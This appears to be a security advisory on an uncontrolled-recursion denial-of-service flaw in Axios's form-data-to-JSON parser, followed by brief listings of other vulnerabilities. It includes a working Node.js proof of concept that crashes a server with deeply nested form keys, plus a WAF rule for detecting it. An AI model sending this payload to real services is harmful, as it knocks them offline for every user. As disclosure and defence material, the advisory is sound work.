Jul 20, 2026·8 min read·22 visits
Uncontrolled recursion in Axios's `formDataToJSON` parser allows unauthenticated remote attackers to crash Node.js servers via a single crafted request with deeply nested form keys.
An uncontrolled recursion vulnerability (CWE-674) in the Axios HTTP library allows remote attackers to cause a Denial of Service (DoS) by submitting form-data with deeply nested property keys. When Axios converts this form-data to JSON, it recursively traverses the path segments without establishing a maximum depth limit, resulting in a maximum call stack size exhaustion and a hard process crash in Node.js environments.
Axios is an extensively utilized HTTP client library for Node.js and browser environments, serving as a critical component in many modern JavaScript applications. When handling multipart/form-data payloads, Axios provides automated helper utilities to convert incoming or outgoing payloads between structured JSON and flat FormData formats. This bidirectional serialization logic is vital for microservices, gateways, and web APIs that normalize data transit across heterogeneous endpoints.\n\nThe primary attack surface is located within the processing of nested form-data keys, which are parsed to represent hierarchical JSON structures. The utility function formDataToJSON is responsible for parsing keys such as user[address][city] and translating them into nested JavaScript objects. If the application processes untrusted user inputs containing nested paths, an attacker can directly target this translation step to execute malicious requests.\n\nThe flaw is classified as Uncontrolled Recursion (CWE-674). Because the parser recursively traversed user-defined nested keys without establishing a boundary or maximum recursion depth, it allowed arbitrary nesting depths. When processed on the server-side in Node.js, this leads to a synchronous process termination, resulting in a complete Denial of Service.
The technical root cause lies in the parsing architecture within lib/helpers/formDataToJSON.js. This module uses a regular expression \\w+|\\[(\\w*)]/g inside a tokenizer named parsePropPath to extract nested keys from bracketed string notation. For example, a key defined as a[b][c] is decomposed into an array of path keys: ['a', 'b', 'c']. This array is then supplied to a recursive utility helper function called buildPath.\n\nThe buildPath helper executes recursive calls to traverse and construct the nested object hierarchy: buildPath(path, value, target[name], index). Each nesting level in the key corresponds to a recursive stack frame. The program increments the index variable with each step, but before the patch, there was no validation of index against a maximum allowed depth limit. The function recursively called itself until the end of the path array was reached.\n\nWhen an attacker presents a multipart form-data request where a key has thousands of nested brackets (e.g., a[b][c]...[z]), parsePropPath constructs a massive path array. As buildPath iterates through this path array, it generates thousands of stack frames on the call stack. Once the call stack depth exceeds the limit defined by the JavaScript runtime (such as V8's call stack limit, which is typically around 10,000 frames depending on the execution context), the engine throws a synchronous RangeError: Maximum call stack size exceeded.\n\nIn a typical Node.js server architecture, synchronous errors thrown inside request deserializers or middleware—if uncaught—bubble up directly to the global handler or target thread execution context. Because this crash is a stack exhaustion event, it represents an unrecoverable runtime state for that thread. If the server is not configured with cluster modules or automated process monitoring to restart failed workers immediately, the entire application shuts down, dropping all active and future connections.
The vulnerability can be analyzed by contrasting the vulnerable implementation of the path-building parser with the updated, depth-checked logic introduced in the patch.\n\nBelow is a comparison of the vulnerable implementation versus the patched implementation in lib/helpers/formDataToJSON.js (v1.x branch):\n\njavascript\n// VULNERABLE CODE PATH (Pre-patch)\nfunction parsePropPath(name) {\n const path = [];\n const pattern = /\\w+|\\[(\\w*)]/g;\n let match;\n\n while ((match = pattern.exec(name)) !== null) {\n // NO LIMIT CHECK HERE: Path array grows arbitrarily\n path.push(match[0] === '[]' ? '' : match[1] || match[0]);\n }\n\n return path;\n}\n\nfunction buildPath(path, value, target, index) {\n let name = path[index++];\n if (index < path.length) {\n target[name] = target[name] || {};\n // Recursively calls buildPath without checking call stack limits\n buildPath(path, value, target[name], index);\n } else {\n target[name] = value;\n }\n}\n\n\njavascript\n// PATCHED CODE PATH (Post-patch - v1.x)\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport { DEFAULT_FORM_DATA_MAX_DEPTH } from './toFormData.js';\n\nconst MAX_DEPTH = DEFAULT_FORM_DATA_MAX_DEPTH; // Default limit of 100\n\nfunction throwIfDepthExceeded(index) {\n if (index > MAX_DEPTH) {\n throw new AxiosError(\n 'FormData field is too deeply nested (' + index + ' levels). Max depth: ' + MAX_DEPTH,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n }\n}\n\nfunction parsePropPath(name) {\n const path = [];\n const pattern = /\\w+|\\[(\\w*)]/g;\n let match;\n\n while ((match = pattern.exec(name)) !== null) {\n throwIfDepthExceeded(path.length); // Prevent token accumulation beyond MAX_DEPTH\n path.push(match[0] === '[]' ? '' : match[1] || match[0]);\n }\n\n return path;\n}\n\nfunction buildPath(path, value, target, index) {\n throwIfDepthExceeded(index); // Hard guard during target object path construction\n\n let name = path[index++];\n\n // Additional check to prevent prototype pollution vulnerability vectors\n if (name === '__proto__') return true;\n\n if (index < path.length) {\n target[name] = target[name] || {};\n buildPath(path, value, target[name], index);\n } else {\n target[name] = value;\n }\n}\n\n\nIn addition to limiting formDataToJSON.js, the developers also modified the reverse process in lib/helpers/toFormData.js using stringifyWithDepthLimit. This ensures that even when stringifying deeply circular or recursive objects, the system enforces a strict hierarchy ceiling. This double-sided defense makes the patch complete against recursion-based denial of service vectors across both inbound serialization and outbound transmission.
Exploitation of this vulnerability is straightforward and requires minimal complexity or network bandwidth. The primary prerequisites are that the application must use a vulnerable version of Axios to parse incoming multipart/form-data inputs (either implicitly or via explicit configuration), and the attacker must have network reachability to the application endpoint.\n\nAn attacker can execute a Denial of Service attack using the following payload generation script. This script constructs a single form field with 5,000 nested brackets, which is small in network payload terms (approximately 15 KB) but highly lethal to the receiver's process:\n\njavascript\n// Proof of Concept: Remote Stack Exhaustion Trigger\nconst axios = require('axios');\nconst FormData = require('form-data');\n\nconst nestingDepth = 5000;\nlet payloadKey = 'payload';\n\n// Append bracket pairs to exceed standard Node.js call stack capacity\nfor (let i = 0; i < nestingDepth; i++) {\n payloadKey += '[x]';\n}\n\nconst form = new FormData();\nform.append(payloadKey, 'malicious_content');\n\n// Submitting to an endpoint that deserializes the FormData to JSON\naxios.post('http://vulnerable-target-server.local/api/upload', form, {\n headers: form.getHeaders()\n}).catch(err => {\n console.log('Request initiated. Server process crash expected.');\n});\n\n\nWhen the target server receives this request, the multipart body parser routes the payload parameters to formDataToJSON. The parser is forced to allocate recursive frames for buildPath up to 5,000 levels. Because this exceeds the maximum recursion boundary, V8 throws a fatal RangeError. Because the execution occurs in a synchronous callback context within the HTTP server routing framework, the exception is uncaught, terminating the Node.js event loop instantly.
The impact of this vulnerability is high with respect to service availability. In the Node.js ecosystem, application servers typically run as single-threaded processes sharing a single event loop. An unhandled synchronous exception such as a RangeError from stack exhaustion terminates the entire process, dropping active connections for all concurrent sessions and rendering the application completely unresponsive until it is manually restarted or automatically respawned by an external process manager like PM2.\n\nIf the application does not utilize a persistent process manager or container orchestration with health checks (such as Kubernetes pods with liveness probes), a single malicious request can result in indefinite downtime. Even with automatic self-healing capabilities, an attacker can continuously send requests with nested bracket payloads to maintain a permanent denial of service condition, exhausting server CPU resources during the process startup loop.\n\n> [!WARNING]\n> Because this vulnerability is triggered pre-routing during the automatic parsing of requests, it acts as a pre-authentication vector in many integration setups. This increases the severity, as any unauthenticated user on the public internet can trigger the server crash without credentials.
The most effective and permanent resolution is to upgrade the axios dependency to a secure release. For projects locked on the 0.x release branch, update to v0.33.0 or higher. For applications using the main 1.x branch, upgrade to v1.18.0 or higher.\n\nIf an immediate dependency upgrade is not feasible due to organizational constraints or regression testing procedures, several temporary defense-in-depth mitigations can be deployed:\n\n1. Query and Parameter Inspection Middleware: Introduce incoming request validation middleware to intercept request bodies and query parameters. Scan and reject any keys containing excessive brackets. A recommended threshold is a maximum of 50 brackets per key.\n\n2. Web Application Firewall (WAF) Integration: Implement signatures on upstream load balancers or edge WAFs to detect and block malformed multipart requests. A custom regular expression filter can check for repeated bracket strings:\n\nnginx\n# Example Nginx/ModSecurity WAF Rule\nSecRule ARGS_NAMES \"(\\[[^\\]]*\\]){50,}\" \"id:100001,phase:2,deny,status:400,msg:'Potential Stack Exhaustion DoS Attempt'\"\n\n\n3. Application Container Controls: Configure container managers (e.g., systemd, Docker, PM2) with strict rate limits and automated fast-restart policies. Ensure CPU limiters are enabled to prevent process restart loops from starving other server resources on the same host.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
axios Axios | < 0.33.0 | 0.33.0 |
axios Axios | >= 1.0.0, < 1.18.0 | 1.18.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-674 (Uncontrolled Recursion) |
| Attack Vector | Network (Unauthenticated HTTP POST/PUT requests) |
| CVSS v3.1 Severity Score | 7.5 (High) |
| Impact Type | Complete Denial of Service (Process Crash) |
| Exploit Status | Proof of Concept (PoC) available |
| KEV Status | Not listed |
The software code contains a recursive function but does not limit the depth of the recursion, leading to stack overflow or other resource exhaustion issues.
Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.
CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.
An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.
A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.
SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.